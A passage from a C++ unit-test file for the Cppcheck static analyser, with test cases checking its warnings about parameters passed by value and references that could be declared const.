c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void 